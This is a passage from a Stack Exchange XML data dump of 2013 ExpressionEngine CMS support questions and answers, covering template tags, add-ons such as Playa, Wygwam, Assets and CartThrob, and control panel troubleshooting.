&amp;lt;h1&amp;gt;{lv_home_col1_heading}&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;div class=&quot;divide&quot;&amp;gt;&#xA;            {lv_home_col1_content}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;        &amp;lt;section id=&quot;col2&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{lv_home_col2_heading}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div class=&quot;divide&quot;&amp;gt;&#xA;            {exp:low_variables:parse var=&quot;lv_home_col2_content&quot;}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;        &amp;lt;section id=&quot;col3&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;News&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;article class=&quot;highlight&quot;&amp;gt;&#xA;            {exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot; category=&quot;16&quot; disable=&quot;member_data|pagination&quot;}&#xA;                &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{title_permalink='blog/'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;{exp:replace_plus find=&quot;class=:QUOTE:highlight:QUOTE:&quot;}{body}{/exp:replace_plus}&#xA;            {/exp:channel:entries}&#xA;            &amp;lt;/article&amp;gt;&#xA;            {gv_subscribe}&#xA;        &amp;lt;/section&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt; &amp;lt;!-- end of #container --&amp;gt;&#xA;{gv_footer}&#xA;{snip_footer}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought maybe I had an open search tag like Adam Wiggall did in this post: (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10470/incorrect-no-results-page-returned-for-simple-search&quot;&gt;Incorrect no_results page returned for simple search&lt;/a&gt;) but after a quick search, I don’t see any other tags that aren’t closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into this sort of issue before? My template revisions are off, using files, and templates are synced with files.&lt;/p&gt;&#xA;" OwnerUserId="34" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-01-07T09:18:06.157" Title="Simple Search returns System Message template for No Results even when 'no_result_page' set" Tags="|search|system-messages|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10833" PostTypeId="1" CreationDate="2013-05-29T23:26:39.977" Score="2" ViewCount="765" Body="&lt;p&gt;Recently while moving from my first local dev to public site, the jquery that powers the Control Panel basically stopped working/loading. Version is v2.5.3 and I will be upgrading the dev to latest but hope to figure this out before I dive into that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signin screen loses all jquery and formatting (no jquery code in HTML head) and menus inside EE no longer function as well as all addons that rely on jquery. The tabs that are usually hidden for accessories such as MC Cloner and ExpressionEngine Info are showing (when they should not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the following.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;reuploaded all theme folders and checking permissions&lt;/li&gt;&#xA;&lt;li&gt;Cleared Cached before and after upload&lt;/li&gt;&#xA;&lt;li&gt;uninstall/reinstall jquery addon&lt;/li&gt;&#xA;&lt;li&gt;Checked config.php for conflicting paths&lt;/li&gt;&#xA;&lt;li&gt;disabled extensions via config.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ensured the following paths are correct&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Admin ‣ General Configuration&lt;/li&gt;&#xA;&lt;li&gt;Admin ‣ Security and Privacy ‣ Captcha Preferences&lt;/li&gt;&#xA;&lt;li&gt;Admin ‣ System Administration ‣ Emoticon Preferences&lt;/li&gt;&#xA;&lt;li&gt;Content ‣ Files ‣ File Upload Preferences&lt;/li&gt;&#xA;&lt;li&gt;Members ‣ Preferences&lt;/li&gt;&#xA;&lt;li&gt;Design ‣ Templates ‣ Global Preferences&lt;/li&gt;&#xA;&lt;li&gt;Admin ‣ Channel Administration ‣ Channels&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can see the cpanel here, notice the missing jquery embed (I will change the url to admin.php before launch)&#xA;&lt;a href=&quot;http://www.centerchurchucc.org/admin.php?S=0&amp;amp;D=cp&amp;amp;C=homepage&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.centerchurchucc.org/admin.php?S=0&amp;amp;D=cp&amp;amp;C=homepage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/frAv9.jpg&quot; alt=&quot;Screenshot of Prefs&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really puzzled on this one!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My gen prefs&lt;/p&gt;&#xA;" OwnerUserId="63" LastEditorUserId="63" LastEditDate="2013-05-29T23:43:42.717" LastActivityDate="2014-01-24T14:54:11.733" Title="Jquery doesn't load for Control Panel after move from Dev to Live" Tags="|ee2|control-panel|jquery|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10834" PostTypeId="2" ParentId="10833" CreationDate="2013-05-29T23:52:45.710" Score="1" Body="&lt;p&gt;Please, try to remove the trailing slash on Theme Folder Path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, you should try to keep this settings on the config.php file. It's easier to fix them on the file.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-29T23:52:45.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10835" PostTypeId="1" CreationDate="2013-05-29T23:57:17.413" Score="1" ViewCount="33" Body="&lt;p&gt;Is it possible to get an entry's grandparent? For example I have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entry A&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entry B&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entry C&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Entry C is a child of Entry B, and Entry B is a child of Entry A. How can I get the {title} of Entry A in the midst of a channel entries loop for Entry C? I'm on EE 2.6.1 and Playa 4.4.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot;}&#xA;    {exp:playa:parents var_prefix=&quot;father&quot; limit=&quot;1&quot;}&#xA;        {father:exp:playa:parents var_prefix=&quot;grandpa&quot; limit=1}&#xA;            {grandpa:title}&#xA;        {/father:exp:playa:parents}&#xA;    {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1232" LastEditorUserId="1232" LastEditDate="2013-05-30T15:37:15.227" LastActivityDate="2013-05-30T15:37:15.227" Title="Get an entry's grandparents with Playa?" Tags="|playa|" AnswerCount="0" CommentCount="0" ClosedDate="2013-05-30T12:02:41.977" ContentLicense="CC BY-SA 3.0" />
  <row Id="10836" PostTypeId="1" AcceptedAnswerId="10838" CreationDate="2013-05-30T01:06:07.420" Score="0" ViewCount="43" Body="&lt;p&gt;I can't figure out why this conditional does not work. It is a dropdown navigation item in my main nav.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul&amp;gt;&#xA;    {exp:channel:entries&#xA;        channel=&quot;locations&quot;&#xA;        orderby=&quot;date&quot;&#xA;        sort=&quot;asc&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;    }&#xA;        &amp;lt;li{if segment_2=='{url_title}'} class=&quot;on&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{url_title_path='contact'}&quot; title=&quot;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know segment_2 is the same as the entry's url_title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-05-30T01:28:54.550" Title="trouble with basic conditional" Tags="|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10838" PostTypeId="2" ParentId="10836" CreationDate="2013-05-30T01:28:54.550" Score="1" Body="&lt;p&gt;Force the conditional to be parsed after the exp:channel:entries module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries&#xA;    channel=&quot;locations&quot;&#xA;    orderby=&quot;date&quot;&#xA;    sort=&quot;asc&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;}&#xA;    &amp;lt;li{if &quot;{segment_2}&quot; == &quot;{url_title}&quot;} class=&quot;on&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{url_title_path='contact'}&quot; title=&quot;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-30T01:28:54.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10839" PostTypeId="1" CreationDate="2013-05-30T02:35:44.227" Score="2" ViewCount="80" Body="&lt;p&gt;Does Exp:resso Store offer &quot;Related Products&quot;? An example would be on the page for a Micheal Jackson CD. Is there a built in logic that displays recommendations &quot;You might like Janet Jackson&quot;. If so, can you send me a link with more information on this functionality? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1572" LastActivityDate="2014-05-14T16:48:51.927" Title="products like this" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10840" PostTypeId="2" ParentId="10839" CreationDate="2013-05-30T03:34:45.227" Score="1" Body="&lt;p&gt;Not sure about Expresso store but natively in EE if you are using categories for your products, you could take a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#related-categories-mode&quot; rel=&quot;nofollow&quot;&gt;related_categories_mode parameter&lt;/a&gt; on the channel:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will show entries filed under the same category as the current single entry being viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative would be to use tagging for your products, using something like &lt;a href=&quot;http://www.solspace.com/software/detail/tag/&quot; rel=&quot;nofollow&quot;&gt;Solspace Tag&lt;/a&gt;. That has a &lt;a href=&quot;http://www.solspace.com/docs/tag/related_entries/&quot; rel=&quot;nofollow&quot;&gt;related_entries tag&lt;/a&gt; which will display entries tagged similarly to the currently viewed entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-05-30T03:34:45.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10841" PostTypeId="1" AcceptedAnswerId="10864" CreationDate="2013-05-30T03:57:11.237" Score="0" ViewCount="129" Body="&lt;p&gt;I've been trying to integrate CodeMirror code editor into Wygwam's source view without much success. I have tried using the &quot;wygwam_config&quot; hook as well as adding a config.js file to Wygwam's advanced settings configuration screen which is supposed to enable the code mirror plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I would like this plugin to override the native source view: &lt;a href=&quot;http://ckeditor.com/addon/codemirror&quot; rel=&quot;nofollow&quot;&gt;http://ckeditor.com/addon/codemirror&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-05-30T15:46:34.023" Title="Wygwam better source view using CodeMirror" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10842" PostTypeId="2" ParentId="10774" CreationDate="2013-05-30T07:17:10.850" Score="5" Body="&lt;p&gt;Issue appears to be with User Session Type in Security and Settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensuring that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Control Panel Session Type = Cookies and Session ID &#xA;User Session Type = Cookies only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;seems to fix the issue for me. Flipping the user session type to Cookies and Session ID made the error recur on my setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seemed to be running into issues with sessions on other extensions so the 403 issue appears to be a symptom of a possibly wider issue and not Assets-specific.&lt;/p&gt;&#xA;" OwnerUserId="889" LastActivityDate="2013-05-30T07:17:10.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10843" PostTypeId="1" CreationDate="2013-05-30T07:52:35.157" Score="2" ViewCount="71" Body="&lt;p&gt;i want to change the price field from frontend , actually im templating like this but seems DONT WORK...  any help will be appreciate!!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;MY_CHANNEL&quot; return=&quot;/PATH&quot;  entry_id=&quot;{segment_3}&quot;}&#xA;&#xA;{exp:store:product entry_id=&quot;{entry_id}&quot;} &#xA;    &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;price&quot; id=&quot;price&quot; value=&quot;{price}&quot; &amp;gt;&amp;lt;/td&amp;gt; &#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;sku&quot; id=&quot;sku&quot; value=&quot;{sku}&quot; &amp;gt;&amp;lt;/td&amp;gt;&#xA;{/exp:store:product} &#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1573" LastEditorUserId="422" LastEditDate="2013-05-30T08:40:45.203" LastActivityDate="2013-06-29T12:46:18.607" Title="change expresso store field with safecracker" Tags="|expresso-store|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10844" PostTypeId="2" ParentId="10839" CreationDate="2013-05-30T08:31:22.593" Score="3" Body="&lt;p&gt;In Store products are just regular channel entries so you can use any of the regular relationship methods used in EE to relate them. Although there is no ready-made way of adding a &quot;you may also like...&quot; feature it's fairly easy to add with EE right out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to using categories to relate products that Iain mentioned, EllisLab have completely revamped this area in EE 2.6+. You can read about it &lt;a href=&quot;http://ellislab.com/blog/entry/relationships-evolved-for-expressionengine-2.6&quot; rel=&quot;nofollow&quot;&gt;on their blog&lt;/a&gt; or &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;in the documentation&lt;/a&gt;. Both provide some useful examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using an older version of EE than &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; has been a loyal companion for many years and filled the gap prior to EE 2.6. You may still prefer to use that over EE's default relationship handling.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2014-05-14T16:48:51.927" LastActivityDate="2014-05-14T16:48:51.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10845" PostTypeId="1" AcceptedAnswerId="10846" CreationDate="2013-05-30T09:11:50.140" Score="1" ViewCount="98" Body="&lt;p&gt;Can I use a promo code variable in the email for new orders? The client would like to be notified of the promo code used in the email itself, which gets bcc'ed to them as well as the buyer. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Order Id    - {order_id}&#xA;Order Total - {order_total}&#xA;Voucher (if used): {promo_code}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-05-30T09:32:23.977" Title="Expresso Store Promo Code Use In Email?" Tags="|expresso-store|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10846" PostTypeId="2" ParentId="10845" CreationDate="2013-05-30T09:32:23.977" Score="1" Body="&lt;p&gt;Yes you can include the &lt;code&gt;{promo_code}&lt;/code&gt; and &lt;code&gt;{promo_value}&lt;/code&gt; in your email templates if you want to. If you want to show the total discount on the order then use &lt;code&gt;{order_discount}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-30T09:32:23.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10847" PostTypeId="1" CreationDate="2013-05-30T10:01:09.897" Score="2" ViewCount="203" Body="&lt;p&gt;I've got an assets field within a single relationship, using the new 2.6 tags, and I'm having a couple of problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The assets tag pair only loops once, regardless of how many assets are&#xA;in the field&lt;/li&gt;&#xA;&lt;li&gt;The inner assets tags aren't outputting anything&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've tried all of these combinations, without success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{relationship_field:assets_field}&#xA;    {relationship_field:assets_field:url}&#xA;{/relationship_field:assets_field}&#xA;&#xA;{relationship_field:assets_field}&#xA;    {assets_field:url}&#xA;{/relationship_field:assets_field}&#xA;&#xA;{relationship_field:assets_field}&#xA;    {url}&#xA;{/relationship_field:assets_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other relationship tags (e.g. &lt;code&gt;{relationship_field:title}&lt;/code&gt; ) output as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing it wrong, or is this a bug?&lt;/p&gt;&#xA;" OwnerUserId="1574" LastActivityDate="2014-09-26T08:42:13.317" Title="Assets 2 field not working properly within 2.6 relationship" Tags="|pixelandtonic|relationships|assets|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10848" PostTypeId="1" CreationDate="2013-05-30T11:29:56.823" Score="0" ViewCount="164" Body="&lt;p&gt;Having a small problem with images from an Assets fieldtype ... that is in a Matrix field ... that is in a Low Variable ... showing on a second MSM site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the other Matrix fields (basic text fields) list okay ... it's just that the Assets field that is not showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So on the second 'MSM' site I've got the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;site_1:lv_sites&quot;}&#xA;    &amp;lt;p&amp;gt;{image}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I put the same code on &quot;site_1&quot; the {image} tag comes out fine. On &quot;site_2&quot; the {image} tag comes out blank.  I've tried using {image:server_path} and {image:url} and it's still coming out blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.5.5, Assets 2.1.3 and Low Variables 2.3.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts are welcome!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="140" LastEditorUserId="140" LastEditDate="2013-05-30T11:40:01.170" LastActivityDate="2013-05-30T11:40:01.170" Title="Assets Images in Low Variables not showing across MSM sites" Tags="|assets|multi-site-manager|low-variables|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10849" PostTypeId="2" ParentId="10843" CreationDate="2013-05-30T12:06:26.470" Score="1" Body="&lt;p&gt;You can't use the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag inside an &lt;code&gt;{exp:safecracker}&lt;/code&gt; tag, they do totally different things (the product tag is for creating add to cart forms).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;MY_CHANNEL&quot; return=&quot;/PATH&quot;  entry_id=&quot;{segment_3}&quot;}&#xA;    {field:product_details}    &#xA;    &amp;lt;!-- (or whatever you named your product details field) --&amp;gt;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-30T12:06:26.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10850" PostTypeId="2" ParentId="10822" CreationDate="2013-05-30T13:06:43.833" Score="1" Body="&lt;p&gt;It is most likely that the correct permissions aren't set on the Member group to which the users belong to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Members &gt; Member Groups, click on the member group in question and scroll down to the &lt;strong&gt;Channel Posting Privileges&lt;/strong&gt;. Check these settings and ensure that &lt;strong&gt;Can edit entries authored by others&lt;/strong&gt; is set to &lt;strong&gt;Yes&lt;/strong&gt;. Save that and try again. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-30T13:06:43.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10851" PostTypeId="1" AcceptedAnswerId="10854" CreationDate="2013-05-30T13:32:05.063" Score="1" ViewCount="158" Body="&lt;p&gt;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;jobs-opportunities/.main_job_list&quot; cats=&quot;14&amp;amp;85|14&amp;amp;240&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll see I'm trying to list entries that are either from 1 set of categories or another. I feel the above should work but it doesn't. It doesn't work when I put it into the channel entries tag either, rather than an embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Julie&lt;/p&gt;&#xA;" OwnerUserId="1566" LastActivityDate="2013-05-30T14:31:57.423" Title="Combining categories within channel tag category parameter" Tags="|channel-entries|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10852" PostTypeId="2" ParentId="10851" CreationDate="2013-05-30T14:02:22.060" Score="0" Body="&lt;p&gt;I don't believe so. The inclusive &lt;code&gt;&amp;amp;&lt;/code&gt; operator in the &lt;code&gt;category&lt;/code&gt; parameter will return entries with all the categories, but it looks like you can't use that along with stacking &lt;code&gt;|&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-05-30T14:02:22.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10853" PostTypeId="2" ParentId="10237" CreationDate="2013-05-30T14:06:04.123" Score="1" Body="&lt;p&gt;This seems to be a great role for NavEE. As you can see in my post (thanks for the link, BTW) I'm a fan of NavEE because it accomplishes much of the good stuff about Structure (easy nav menus) without abandoning the EE philosophy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have a NavEE fieldtype associated with those two channels whereby the client could create nav links, and NavEE's template tags allow for the dynamic collapsing sub-menus you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="1575" LastActivityDate="2013-05-30T14:06:04.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10854" PostTypeId="2" ParentId="10851" CreationDate="2013-05-30T14:31:57.423" Score="1" Body="&lt;p&gt;You can't use both operators on channel:entries module. Try &lt;a href=&quot;http://devot-ee.com/add-ons/dandy-cat&quot; rel=&quot;nofollow&quot;&gt;Dandy Cat&lt;/a&gt;, that allows you to use &quot;(14&amp;amp;85)|(14&amp;amp;240)&quot;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-30T14:31:57.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10855" PostTypeId="1" AcceptedAnswerId="10943" CreationDate="2013-05-30T14:41:26.837" Score="1" ViewCount="170" Body="&lt;p&gt;We have a client site that uses Wygwam 2.7.1 on EE 2.5.3 and we have an issue on only one channel entry, and only for a few people. When the entry is loaded in the CP, certain users just see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ino8.png&quot; alt=&quot;Screen Shot of Wygwam field&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other users see the Wygwam field perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This channel entry has a lot of YouTube video embeds in the Wygwam field (about 20 videos). That's the only thing different from the other entries and this is only happening for two users so far on Firefox. There is a js error that only shows up for the users who are having this issue. The error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: w.filter is not a function&#xA;http://www.siteurl.com/themes/third_party/wygwam/lib/ckeditor/ckeditor.js&#xA;Line 31&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't recreate this same error on any other computer. Has anyone come across this before or has an idea of how to fix it.&lt;/p&gt;&#xA;" OwnerUserId="915" LastActivityDate="2013-06-03T16:15:08.423" Title="Wygwam field not completely loading for one channel entry" Tags="|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10856" PostTypeId="1" CreationDate="2013-05-30T14:47:18.533" Score="0" ViewCount="166" Body="&lt;p&gt;I have recently purchased Cartthrob Subscriptions and am running into a few difficulties. I have tried support forums, contacting Cartthrob directly but i'm getting nothing back at all, which is strange as their support is usually amazing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up a subscription plan and set up token vaults on my Sage Gateway, however when testing, Cartthrob is processing the order as a standard product and not creating a subscription/subscriber. The details are all confirmed and going into Sage, but the subscription is not generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My add to cart form is as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:plans}&#xA;  {exp:cartthrob:add_to_cart_form &#xA;    return=&quot;store/checkout&quot;&#xA;    plan_id=&quot;{id}&quot;&#xA;    subscription=&quot;yes&quot;&#xA;    price=&quot;{price}&quot;&#xA;    title=&quot;{name}&quot;&#xA;    subscription_allow_modification=&quot;yes&quot;&#xA;    subscription_interval_units=&quot;days&quot;&#xA;    subscription_interval_length=&quot;1&quot;&#xA;    subscription_price=&quot;10&quot;&#xA;    subscription_total_occurrences=&quot;-1&quot;&#xA;    subscription_name=&quot;{name}&quot;&#xA;    }&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Add to Cart&quot; /&amp;gt;&#xA;&#xA;    {/exp:cartthrob:add_to_cart_form}&#xA;{/exp:cartthrob:plans}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried different options to try and make this work but I'm stuck, can't figure put why it isn't going through! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. using 1 day interval to test ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated, or any advice on how I can get hold of Cartthrob considering I have spent $300 on this module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&#xA;Ben&lt;/p&gt;&#xA;" OwnerUserId="1082" LastEditorUserId="1082" LastEditDate="2013-05-31T08:38:49.767" LastActivityDate="2013-05-31T08:38:49.767" Title="Cartthrob subscriptions" Tags="|ee2|cartthrob|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10857" PostTypeId="2" ParentId="4885" CreationDate="2013-05-30T14:58:24.827" Score="1" Body="&lt;p&gt;This ended up being resolved via EllisLab support:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm fairly sure the Suhosin Extension installed on your PHP installation is running the cookie values, or HTTP headers as a whole, through a filter and potentially removing anything that looks suspicious (like encoded semicolons) and it's also filtering the whitespace as we can see from the inserted underscores.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A support request to the host (Dreamhost) resolved this.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-05-30T14:58:24.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
